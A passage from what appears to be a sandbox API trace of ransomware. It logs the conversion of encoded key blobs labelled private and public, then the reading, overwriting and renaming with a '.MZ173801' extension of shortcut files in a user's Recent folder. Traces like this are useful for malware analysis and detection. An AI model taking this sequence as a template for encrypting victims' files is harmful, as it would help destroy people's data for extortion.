7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0147.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0147.164] GetCurrentThreadId () returned 0xab4 [0147.164] GetCurrentThreadId () returned 0xab4 [0147.164] GetCurrentThreadId () returned 0xab4 [0147.165] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0147.165] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0147.165] GetCurrentThreadId () returned 0xab4 [0147.165] GetCurrentThreadId () returned 0xab4 [0147.165] GetCurrentThreadId () returned 0xab4 [0147.165] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BEd17CeTok20XCp bu.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\bed17cetok20xcp bu.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.165] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0147.165] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.165] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x2b5 [0147.165] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.165] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x2b5, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x2b5, lpOverlapped=0x0) returned 1 [0147.166] CloseHandle (hObject=0x280) returned 1 [0147.166] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BEd17CeTok20XCp bu.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\bed17cetok20xcp bu.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.167] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x2b5, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x2b5, lpOverlapped=0x0) returned 1 [0147.168] CloseHandle (hObject=0x280) returned 1 [0147.169] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BEd17CeTok20XCp bu.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\bed17cetok20xcp bu.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BEd17CeTok20XCp bu.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\bed17cetok20xcp bu.lnk.mz173801")) returned 1 [0147.170] GetCurrentThreadId () returned 0xab4 [0147.170] GetCurrentThreadId () returned 0xab4 [0147.170] GetCurrentThreadId () returned 0xab4 [0147.170] GetCurrentThreadId () returned 0xab4 [0147.170] GetCurrentThreadId () returned 0xab4 [0147.170] GetCurrentThreadId () returned 0xab4 [0147.170] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ba2e560, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x5ba2e560, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x5ba2e560, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x498, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="BiCkmLzhNyPE.ots.lnk", cAlternateFileName="BICKML~1.LNK")) returned 1 [0147.170] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0147.170] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0147.170] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BiCkmLzhNyPE.ots.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\bickmlzhnype.ots.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ba2e560, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x5ba2e560, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x5ba2e560, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x498)) returned 1 [0147.170] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BiCkmLzhNyPE.ots.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\bickmlzhnype.ots.lnk")) returned 0x20 [0147.170] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BiCkmLzhNyPE.ots.lnk", dwFileAttributes=0x80) returned 1 [0147.172] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0147.172] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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